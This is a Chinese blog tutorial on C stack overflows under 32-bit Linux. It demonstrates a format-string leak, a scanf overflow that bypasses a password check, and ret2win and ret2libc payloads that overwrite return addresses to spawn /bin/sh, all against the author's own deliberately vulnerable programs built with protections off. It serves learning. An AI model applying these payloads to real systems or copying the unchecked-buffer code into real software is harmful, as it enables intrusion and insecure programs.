C语言栈溢出简述（以Linux为例）

已于 2023-04-15 23:22:09 修改
阅读量716 收藏 6
点赞数 5
文章标签： c语言 linux 系统安全
于 2023-04-15 13:20:01 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_30576521/article/details/130071298
版权

环境配置

软硬件环境

  • 物理机
    • CPU：AMD Ryzen 5 3600
    • DRAM： DDR4 16GB*1@3200MHz
    • OS：Windows 11 Pro 22H2
  • 虚拟机
    • OS：Ubuntu 22.04.1 x64（Linux 5.19.0-38-generic）
    • VMware Workstation 17 Pro 17.0.1
    • Ubuntu 22.04LTS
    • gcc 11.3.0
    • gdb 12.1
    • VS Code 1.77.1

编译与调试环境配置

使用Visual Studio Code作为IDE并安装C/C++ Extension Pack（v1.3.0）扩展。

生成任务配置

填写tasks.json文件。文件内容如下。其中第一个任务是生成可执行文件，第二个任务是生成没有链接的汇编代码。

{
    "tasks": [
        {
            "type": "cppbuild",
            "label": "C/C++: gcc 生成活动文件",
            "command": "/usr/bin/gcc",
            "args": [
                "-m32",
                "-no-pie",
                "-fno-stack-protector",
                "-fdiagnostics-color=always",
                "-g",
                "${file}",
                "-o",
                "${fileDirname}/${fileBasenameNoExtension}"
            ],
            "options": {
                "cwd": "${fileDirname}"
            },
            "problemMatcher": [
                "$gcc"
            ],
            "group": {
                "kind": "build",
                "isDefault": true
            },
            "detail": "调试器生成的任务。"
        },
        {
            "type": "cppbuild",
            "label": "C/C++: gcc 生成活动文件的汇编代码",
            "command": "/usr/bin/gcc",
            "args": [
                "-m32",
                "-no-pie",
                "-fno-stack-protector",
                "-fdiagnostics-color=always",
                "-S",
                "${file}",
                "-o",
                "${fileDirname}/${fileBasenameNoExtension}.s"
            ],
            "options": {
                "cwd": "${fileDirname}"
            },
            "problemMatcher": [
                "$gcc"
            ],
            "group": {
                "kind": "none",
                "isDefault": true
            },
            "detail": "调试器生成的任务。"
        }
    ],
    "version": "2.0.0"
}

其中-m32表示生成32位代码；-no-pie可以起到取消地址随机化的作用；-fno-stack-protector表示取消栈保护；-g表示调试，关闭优化；-S表示生成汇编文件。具体内容查阅gcc手册。

调试方案配置

填写launch.json文件。文件内容如下。

{
    // 使用 IntelliSense 了解相关属性。 
    // 悬停以查看现有属性的描述。
    // 欲了解更多信息，请访问: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
    {
        "name": "(gdb) 启动",
        "type": "cppdbg",
        "request": "launch",
        "program": "${fileDirname}/${fileBasenameNoExtension}",
        "args": [],
        "stopAtEntry": false,
        "cwd": "${fileDirname}",
        "environment": [],
        "externalConsole": false,
        "MIMode": "gdb",
        "setupCommands": [
            {
                "description": "为 gdb 启用整齐打印",
                "text": "-enable-pretty-printing",
                "ignoreFailures": true
            },
            {
                "description": "将反汇编风格设置为 Intel",
                "text": "-gdb-set disassembly-flavor intel",
                "ignoreFailures": true
            }
        ],
        "preLaunchTask": "C/C++: gcc 生成活动文件"
    }
    ]
}

记得填写preLaunchTask以保证在调试之前先生成可执行文件。

C语言堆溢出

格式化溢出（读）

我们编写以下程序。

#include <stdio.h>

int main()
{
    int a = 1, b = 2, c = 3;
    char buf[] = "test";

    printf("%s %d %d %d %x %x %x %x %x %x\n", buf, a, b, c);

    return 0;
}

给printf下断点，按F5开始调试，可以看到程序命中断点。
断点命中
按Ctrl+Shift+Y打开调试控制台，在控制台中输入

-exec display /20i $pc

该命令会打印后面的20条汇编。
在这里插入图片描述
ebp是栈底（固定的部分），esp是栈顶（浮动的部分）
在控制台输入-exec ni 8，执行8条汇编指令。
在这里插入图片描述
使用-exec x /24xw $esp查看栈的内容，查看的长度为24*4字节。
在这里插入图片描述
继续使用-exec ni2次，直到调用printf的call指令完成并返回。程序输出如下。
在这里插入图片描述
其中额外输出的%x部分正好对应了下图的蓝色部分。
在这里插入图片描述
可见，这种溢出导致程序输出了不应暴露给用户的数据，造成了信息泄露。

格式化溢出（写）

C程序如下：

#include <stdio.h>
#include <string.h>
int main(int argc, const char *argv[])
{

    char passsword[] = "password", input[10];
    while (1)
    {
        printf("Enter your password:");
        scanf("%s", input);
        if (strcmp(input, passsword) == 0)
        {
            printf("Welcome!\n");
            break;
        }
        else
        {
            printf("Sorry,your password is wrong.\n");
        }
    }
    return 0;
}

在这里插入图片描述
可见，输入AAA（而非password）也可以验证成功。
为什么会发生这样的情况呢？
在这里插入图片描述
在C语言中，局部变量使用栈来存储。变量password位于变量input高地址处，且这两个变量紧挨在一起。这意味值如果input溢出，溢出的数据将会覆盖password中的数据。input有10个字节，而我们的输入是0123456789AAA，因此AAA会溢出并覆盖password。
在这里插入图片描述
而后我们再在控制台中输入AAA，这样input和password两个变量就相等了，于是验证成功。

改变程序控制流（ret2???）

溢出还能改变程序的控制流程。C代码如下所示：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "88888888AAAAAAAAAAAA\x86\x91\x04\x08\xc0\xa1\xc3\xf7";
void returntohere()
{
    system("/bin/sh");
}

void foo()
{
    char buffer[8] = "\x20\x20\x20\x20\x20\x20\x20";
    memcpy(buffer, shellcode, 28);
    return;
}

int main()
{
    foo();
    return 0;
}

在这里插入图片描述
尽管main函数中没有执行returntohere函数。但是system("/bin/sh")却被执行。
显然，foo函数中的memcpy是造成这一现象的关键因素。foo函数的代码如下：

   0x080491b1 <+0>:		push   ebp
   0x080491b2 <+1>:		mov    ebp,esp
   0x080491b4 <+3>:		push   ebx
   0x080491b5 <+4>:		sub    esp,0x14
   0x080491b8 <+7>:		call   0x804920c <__x86.get_pc_thunk.ax>
   0x080491bd <+12>:	add    eax,0x2e43
=> 0x080491c2 <+17>:	mov    DWORD PTR [ebp-0x10],0x20202020
   0x080491c9 <+24>:	mov    DWORD PTR [ebp-0xc],0x202020
   0x080491d0 <+31>:	sub    esp,0x4
   0x080491d3 <+34>:	push   0x1c
   0x080491d5 <+36>:	lea    edx,[eax+0x20]
   0x080491db <+42>:	push   edx
   0x080491dc <+43>:	lea    edx,[ebp-0x10]
   0x080491df <+46>:	push   edx
   0x080491e0 <+47>:	mov    ebx,eax
   0x080491e2 <+49>:	call   0x8049050 <memcpy@plt>
   0x080491e7 <+54>:	add    esp,0x10
   0x080491ea <+57>:	nop
   0x080491eb <+58>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080491ee <+61>:	leave  
   0x080491ef <+62>:	ret

显然，mempy函数需要三个参数，这三个参数分别通过一个push 0x1c（拷贝28字节）命令，和之后的两个push edx命令完成。
在这里插入图片描述
这是程序执行call 0x8049050 <memcpy@plt>汇编指令之前（即EIP=0x080491e2时）的栈内容。0xffffcff0``0xffffcff4``0xffffcff8处的三个值是memcpy的参数，其中0xffffcff0处的0xffffd008指向shellcode字符串变量，0xffffcff4处的0x0804c020指向buffer字符串变量，0xffffcff8处的0xc1是拷贝的字节数。
此外需要特别注意0xffffd01c处的0x08049205。通过反汇编main函数，我们可以轻易发现，0x08049205就是foo的返回地址。我们只要改变这个地址就可以改变程序的控制流。改变这个地址的方式就是让字符串变量buffer溢出。
在这里插入图片描述
在这里插入图片描述
溢出的内容为函数returntohere的地址，即0x8049186。
在foo函数返回前（EIP=0x80491eb时），我们再看一下堆栈内容。
在这里插入图片描述
上图中，溢出的内容从0xffffd010到0xffffd024（闭区间）。显然foo函数的返回地址已经被returntohere函数的地址取代。
继续执行两条汇编，令eip指向ret，此时esp指向foo的返回地址（实际上被替换成了returntohere的开始地址），即0x08049186。
在这里插入图片描述
我们已经成功改变程序控制流，那么为什么要在shellcode中加入\xc0\xa1\xc3\xf7呢。在returntohere函数的末尾下一个断点。然后执行程序。
在这里插入图片描述
需要注意，程序会陷入system函数，因此断点不会立即命中，需要退出/bin/sh后才能命中断点。
在这里插入图片描述

   0x08049186 <+0>:	push   ebp
   0x08049187 <+1>:	mov    ebp,esp
   0x08049189 <+3>:	push   ebx
   0x0804918a <+4>:	sub    esp,0x4
   0x0804918d <+7>:	call   0x804920c <__x86.get_pc_thunk.ax>
   0x08049192 <+12>:	add    eax,0x2e6e
   0x08049197 <+17>:	sub    esp,0xc
   0x0804919a <+20>:	lea    edx,[eax-0x1ff8]
   0x080491a0 <+26>:	push   edx
   0x080491a1 <+27>:	mov    ebx,eax
   0x080491a3 <+29>:	call   0x8049060 <system@plt>
   0x080491a8 <+34>:	add    esp,0x10
=> 0x080491ab <+37>:	nop
   0x080491ac <+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080491af <+41>:	leave  
   0x080491b0 <+42>:	ret

令程序执行到ret指令（EIP=0x80491b0）处。查看esp。发现返回地址是刚才溢出的\xc0\xa1\xc3\xf7。（注意字节序问题，这里是小端序。）
在这里插入图片描述
0xf7c3a1c0是函数exit的地址，这意味着，returntohere的返回会变成立即退出。如果不立即退出，由于栈的混乱，程序就会发生段错误。
在这里插入图片描述

改变程序控制流至libc库函数（ret2libc）

下面这段代码并没有调用system函数，但是我们也可以利用溢出令其执行system("/bin/sh")。

#include <stdio.h>
#include <stdlib.h>

char c[] = "/bin/sh";
char shellcode[] ="88888888AAAAAAAAAAAA\xb0\x7c\xc4\xf7\xc0\xa1\xc3\xf7\x40\xc0\x04\x08";

void foo()
{
    char buf[8] = "\x20\x20\x20\x20\x20\x20\x20";
    memcpy(buf, shellcode, 32);
    return;
}

int main()
{
    foo();
    return 0;
}

在这里插入图片描述
这里的溢出和上文的溢出相似，最重要的是正确地向system函数传参。考虑以下代码：

#include <stdio.h>
#include <stdlib.h>
int main()
{
    system("/bin/sh");
    return 0;
}

此代码仅调用了system，这可以方便我们理解其传参方式。程序对应的汇编代码如下：

	.file	"main.c"
	.text
	.section	.rodata
.LC0:
	.string	"/bin/sh"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	leal	4(%esp), %ecx
	.cfi_def_cfa 1, 0
	andl	$-16, %esp
	pushl	-4(%ecx)
	pushl	%ebp
	movl	%esp, %ebp
	.cfi_escape 0x10,0x5,0x2,0x75,0
	pushl	%ebx
	pushl	%ecx
	.cfi_escape 0xf,0x3,0x75,0x78,0x6
	.cfi_escape 0x10,0x3,0x2,0x75,0x7c
	call	__x86.get_pc_thunk.ax
	addl	$_GLOBAL_OFFSET_TABLE_, %eax
	subl	$12, %esp
	leal	.LC0@GOTOFF(%eax), %edx  # 注释1
	pushl	%edx
	movl	%eax, %ebx
	call	system@PLT # 注释2
	addl	$16, %esp
	movl	$0, %eax
	leal	-8(%ebp), %esp
	popl	%ecx
	.cfi_restore 1
	.cfi_def_cfa 1, 0
	popl	%ebx
	.cfi_restore 3
	popl	%ebp
	.cfi_restore 5
	leal	-4(%ecx), %esp
	.cfi_def_cfa 4, 4
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.section	.text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat
	.globl	__x86.get_pc_thunk.ax
	.hidden	__x86.get_pc_thunk.ax
	.type	__x86.get_pc_thunk.ax, @function
__x86.get_pc_thunk.ax:
.LFB7:
	.cfi_startproc
	movl	(%esp), %eax
	ret
	.cfi_endproc
.LFE7:
	.ident	"GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0"
	.section	.note.GNU-stack,"",@progbits

注意call system@PLT指令上面第二行的pushl %edx，edx的值来自leal .LC0@GOTOFF(%eax), %edx而标号.LC0保存了.string "/bin/sh"。因此在32位下system是通过栈传参的，在调用system前，将参数压栈就行了。
现在回过头来看shellcode的内容，8个8是用来填充变量buf的，12个A依旧用来填充，\xb0\x7c\xc4\xf7是system函数的地址，\xc0\xa1\xc3\xf7是exit函数的地址，\x40\xc0\x04\x08是变量c（内容为/bin/sh）的地址。shellcode共32字节，对应下图中0xffffd008到0xffffd0208（闭区间）。
在这里插入图片描述

关于64位下栈溢出的讨论

在32位环境下许多函数通过栈传参（已经过我验证的有printf、system等）。而在64位环境下许多函数都通过寄存器传参：

	.file	"main.c"
	.text
	.section	.rodata
.LC0:
	.string	"/bin/sh"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register 6
	leaq	.LC0(%rip), %rax # 注释1
	movq	%rax, %rdi
	call	system@PLT
	movl	$0, %eax
	popq	%rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	1f - 0f
	.long	4f - 1f
	.long	5
0:
	.string	"GNU"
1:
	.align 8
	.long	0xc0000002
	.long	3f - 2f
2:
	.long	0x3
3:
	.align 8
4:

程序将/bin/sh的地址放到rax中，而后将rax的值放到rdi中，最后用call system@PLT调用system函数，该函数通过rdi获取参数地址。栈溢出不能更改寄存器的值，因此64位环境大大提高了通过溢出手段改变程序控制/数据流的难度。

C语言的栈帧

考虑以下程序：

#include <stdio.h>

int f(int x, int y)
{
    return x + y;
}

int main()
{
    int a = 0x11111111;
    int b = 0xEEEEEEEE;
    char c[] = "SONGRUNHAN";

    printf("%s %d\n", c, f(a, b));
}

其汇编代码为：

	.file	"main.c"
	.text
	.globl	f
	.type	f, @function
f:
.LFB0:
	.cfi_startproc
	pushl	%ebp
	.cfi_def_cfa_offset 8
	.cfi_offset 5, -8
	movl	%esp, %ebp
	.cfi_def_cfa_register 5
	call	__x86.get_pc_thunk.ax
	addl	$_GLOBAL_OFFSET_TABLE_, %eax
	movl	8(%ebp), %edx
	movl	12(%ebp), %eax
	addl	%edx, %eax
	popl	%ebp
	.cfi_restore 5
	.cfi_def_cfa 4, 4
	ret
	.cfi_endproc
.LFE0:
	.size	f, .-f
	.section	.rodata
.LC0:
	.string	"%s %d\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB1:
	.cfi_startproc
	leal	4(%esp), %ecx
	.cfi_def_cfa 1, 0
	andl	$-16, %esp
	pushl	-4(%ecx)
	pushl	%ebp
	movl	%esp, %ebp
	.cfi_escape 0x10,0x5,0x2,0x75,0
	pushl	%ebx
	pushl	%ecx
	.cfi_escape 0xf,0x3,0x75,0x78,0x6
	.cfi_escape 0x10,0x3,0x2,0x75,0x7c
	subl	$32, %esp
	call	__x86.get_pc_thunk.bx
	addl	$_GLOBAL_OFFSET_TABLE_, %ebx
	movl	$286331153, -12(%ebp)
	movl	$-286331154, -16(%ebp)
	movl	$1196314451, -27(%ebp)
	movl	$1213093202, -23(%ebp)
	movw	$20033, -19(%ebp)
	movb	$0, -17(%ebp)
	pushl	-16(%ebp)
	pushl	-12(%ebp)
	call	f
	addl	$8, %esp
	subl	$4, %esp
	pushl	%eax
	leal	-27(%ebp), %eax
	pushl	%eax
	leal	.LC0@GOTOFF(%ebx), %eax
	pushl	%eax
	call	printf@PLT
	addl	$16, %esp
	movl	$0, %eax
	leal	-8(%ebp), %esp
	popl	%ecx
	.cfi_restore 1
	.cfi_def_cfa 1, 0
	popl	%ebx
	.cfi_restore 3
	popl	%ebp
	.cfi_restore 5
	leal	-4(%ecx), %esp
	.cfi_def_cfa 4, 4
	ret
	.cfi_endproc
.LFE1:
	.size	main, .-main
	.section	.text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat
	.globl	__x86.get_pc_thunk.ax
	.hidden	__x86.get_pc_thunk.ax
	.type	__x86.get_pc_thunk.ax, @function
__x86.get_pc_thunk.ax:
.LFB2:
	.cfi_startproc
	movl	(%esp), %eax
	ret
	.cfi_endproc
.LFE2:
	.section	.text.__x86.get_pc_thunk.bx,"axG",@progbits,__x86.get_pc_thunk.bx,comdat
	.globl	__x86.get_pc_thunk.bx
	.hidden	__x86.get_pc_thunk.bx
	.type	__x86.get_pc_thunk.bx, @function
__x86.get_pc_thunk.bx:
.LFB3:
	.cfi_startproc
	movl	(%esp), %ebx
	ret
	.cfi_endproc
.LFE3:
	.ident	"GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0"
	.section	.note.GNU-stack,"",@progbits
补补还能用
关注
  • 5
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
由c语言编写的适用于linux的简单http服务器
02-02
1、上传文件到 linux 2、解压文件（tar -xvf http.tar） 3、进入目录（cd ./http） 4、执行编译（make） 5、启动服务 ./myhttp start 7、开放 80 端口（firewall-cmd --zone=public --add-port=80/tcp --permanent）...
C语言模拟实现Linux文件系统
09-12
C语言模拟实现Linux文件系统 1、在内存中开辟一块空间来模拟文件系统的运行，不读写硬盘。 2、面向单用户、单任务，不考虑并发，不考虑文件属主、组等概念。 3、程序开始后，初始化并接收用户输入。若输入”enter”...
栈溢出原理
qq_52126646的博客
08-07 6620
栈溢出原理 文章目录栈溢出原理前言：栈一、栈溢出原理二、栈保护技术三、常发生栈溢出的危险函数四、可利用的栈溢出覆盖位置总结 前言：栈 栈是一种LIFO的数据结构。 应用程序有一到多个用户态栈。 栈自底向上增长，由指令PUSH和POP引起其动态变化。 局部变量布局在栈中。 调用函数时参数由栈传递，返回地址也存储于栈中。 函数调用上下文与局部变量共同组成了栈帧——Stack Frame. 栈帧 = 局部变量 + 函数调用上下文 栈帧实际上只是一个通俗的说法，关于栈帧的上下界历来有两种说法，一曰以EBP和E
栈溢出
Tianqinse的博客
08-18 3209
栈溢出概念： 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数，因而导致栈中与其相邻的变量的值被改变。 栈溢出的原因： 局部数组过大。当函数内部的数组过大时，有可能导致堆栈溢出。局部变量是存储在栈中的，因此这个很好理解。解决这类问题的办法有两个，一是增大栈空间,二是改用动态分配，使用堆（heap）而不是栈（stack）。 递归调用层次太多。递归函数在运行时会执行压栈操作，当压栈次数太多时，也会导致堆栈溢出。 指针或数组越界。这种情况最常见，例如进行字符串拷贝，或处理用
C语言入门系列：数据类型之溢出
epitomizelu的专栏
06-21 1338
每一种数据类型都有数值范围，这个数值范围体现在分配给数组的内存大小，每种数据类型的内存大小都是固定的，如果存放的数值超出了这个范围（小于最小值或大于最大值），需要更多的二进制位存储，就会发生溢出。当i等于0，再减去1的时候，并不会返回-1，而是返回 unsigned int 的类型最大值，这个值总是大于等于0，导致无限循环。编译器一般不会对溢出报错，会正常执行代码，但是会自作主张的把溢出的二进制位忽略，只保留剩下的位，这样往往会得到意想不到的结果。下面示例中，变量x加1，得到的结果不是256，而是0。
C语言中的数值溢出
weixin_44982036的博客
01-08 5956
C语言中的数值溢出 当超过一个数据类型能够存放最大的范围时，数值会溢出。 有符号位最高位溢出的区别：符号位溢出会导致数的正负发生改变，但最高位的溢出会导致最高位丢失。 用 char 进行举例 #include <stdio.h> int main() { char ch; //符号位溢出会导致数的正负发生改变 ch = 0x7f + 2; //127+2 printf("%d\n", ch); // 0111 1111 //+2后 1000 0001，这是负数补码，其原码为 1
c语言之堆栈溢出问题
freeline的博客
12-05 2877
1.函数的调用，系统所作的工作 2.函数调用时与内存管理 3.递归函数 4.数组作为形参调用函数时，为什么需要连同数组长度一起传进来
栈溢出基本原理的简单讲解
yan_star的博客
03-31 3万+
栈溢出基本原理的简单讲解 （新手上路，大牛还请自行跳过，不足之处，欢迎批评指正） 一 、预备知识： 缓冲区溢出简单介绍 缓冲区溢出：简单的说，缓冲区溢出就是超长的数据向小缓冲区复制，导致数据超出了小缓冲区，导致缓冲区其他的数据遭到破坏，这就是缓冲区溢出。而栈溢出是缓冲区溢出的一种，也是最常见的。只不过栈溢出发生在栈，堆溢出发生在堆，其实都是一样的。 栈的简单介绍 栈：栈是一种计算机系...
请小心栈溢出
培纪的博客
05-28 3959
写这篇文章本意是帮助萌新们对栈溢出能够有一个较为直观的理解，可能废话有点多，让各位大佬见笑了，还望不喜勿喷。 阅读本文前，建议掌握一定汇编基础 接下来我们进入正题。 或许你在平常时有在老师、朋友、或是其他的程序员的口中听过“栈溢出”这个词，那到底什么是栈溢出呢？为什么栈会溢出呢？ 我们先来看看百度百科的描述： 栈溢出就是缓冲区溢出的一种。由于缓冲区溢出而使得有用的存...
linux-c.zip_C语言_Linux C语言_linux_linux-c
09-22
在Linux环境下进行C语言编程是许多开发者和技术爱好者深入操作系统内核、实现系统级程序或高效应用的重要途径。本文将详细探讨“Linux下C语言”这一主题，基于标题和描述提供的信息，我们将涵盖C语言的基本概念、...
jisuanqi.rar_C语言栈计算器_计算器等号
09-20
c语言编译的计算器 为了方便了解流程,在程序中把计算过程也输出了.而且栈操作的实现部分也是自己实现的. 程序用两个栈,optr寄存运算符,opnd寄存操作数和运算结果.输入的表达式以等号结束,例如:2*(1+2)=
栈溢出 c／c＋＋详解
03-08
栈 溢出 c＋＋ 栈 溢出 c＋＋ 栈 溢出 c＋＋
使用C语言实现栈的源文件
最新发布
07-20
c语言
如何解决栈溢出
热门推荐
逆风飞扬的专栏
01-13 4万+
1，什么是栈溢出？因为栈一般默认为1-2m，一旦出现死循环或者是大量的递归调用，在不断的压栈过程中，造成栈容量超过1m而导致溢出。2，解决方案：方法一：用栈把递归转换成非递归通常,一个函数在调用另一个函数之前,要作如下的事情:a)将实在参数,返回地址等信息传递给被调用函数保存; b)为被调用函数的局部变量分配存储区;c)将控制转移到被调函数的入口. 从被调用函数返回调用函数之前,也要做三件事情:a)保存被调函数的计算结果;b)释放被调函数的数据区;c)依照被调函数保存的返回地址将控制转移到调用函数.所有的这
汇编如何判断溢出_第一个PWN：栈溢出原理以及EXP的编写
weixin_39629188的博客
12-03 425
PWN入门有那么难吗，如果你想做，一定可以学会。加油，打工人！准备虚拟机：CentOS 6.8 32bit、gcc、socat宿主机：IDA7.0、 Python + pwntools略有小坑，当宿主机IDA连接不到centOS时，请关闭centOS的防火墙：service iptables stop大家都说栈溢出是PWN的Hello World，那么我将用一个简单的例子，手把手的来演示...
堆栈溢出一般是由什么原因导致的？
weixin_36194037的博客
12-22 3万+
题目：堆栈溢出一般是由什么原因导致的？ 答：1.函数调用层次太深。函数递归调用时，系统要在栈中不断保存函数调用时的现场和产生的变量，如果递归调用太深，就会造成栈溢出，这时递归无法返回。再有，当函数调用层次过深时也可能导致栈无法容纳这些调用的返回地址而造成栈溢出。 2.动态申请空间使用之后没有释放。由于C语言中没有垃圾资源自动回收机制，因此，需要程序主动释放已经不再使用的动态地址空间。申请的动态空
手把手教你栈溢出从入门到放弃（上）
Captain_RB的博客
01-29 476
手把手教你栈溢出从入门到放弃（上） 转载知乎上的一篇文章 原文链接：https://zhuanlan.zhihu.com/p/25816426，文章深入浅出地介绍了缓冲区溢出攻击的原理，内容详实精彩，推荐学习。 0x10 本期简介在计算机安全领域，缓冲区溢出是个古老而经典的话题。众所周知，计算机程序的运行依赖于函数调用栈。栈溢出是指在栈内写入超出长度限制的数据，从而破坏程序运行甚至获得系统...
c语言 计算器_C语言学习日记（8）——整数溢出
weixin_39714835的博客
11-22 489
小时候喜欢玩电子计算器，觉得很神奇，想要算什么数，立刻就能算出来。当时看着计算器的液晶屏幕就想，如果算一个很大的数，超过了屏幕上面数字的位数，会怎么样呢？试了以后结果是INF，那就是无穷大了。虽然当时还小，但好像也知道那是电子计算器位数不足，从此觉得计算机虽然神奇，但计算能力也是有限的。同样，计算机虽然计算能力强大，但计算能力也受位数的限制，并不是无穷的。以int类型为例，当我们定义一个int类型...
C语言中的数据溢出
c_living的博客
09-07 2万+
1、char是一个字节，8bit,我们在采用unsigned char的数据类型的情况下，如果我们数据产生溢出（超过2^8）那么我们最终得到的结果将对2^8(256)取余，如： unsigned char x = 0xff; x++; printf("%d\n",++x); 输出的结果将是1；而不是257. 2、对于signed的整数的溢出，C语言的定义是Undefined Overflow，...
C语言栈溢出原理与Win32示例剖析
栈溢出是计算机程序中常见的安全漏洞，尤其在C语言及其派生语言中，由于缺乏内置的边界检查机制，可能导致意外的结果。栈，作为一种数据结构，主要用于函数调用和局部变量的存储。在C语言的执行环境中，栈由一组...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值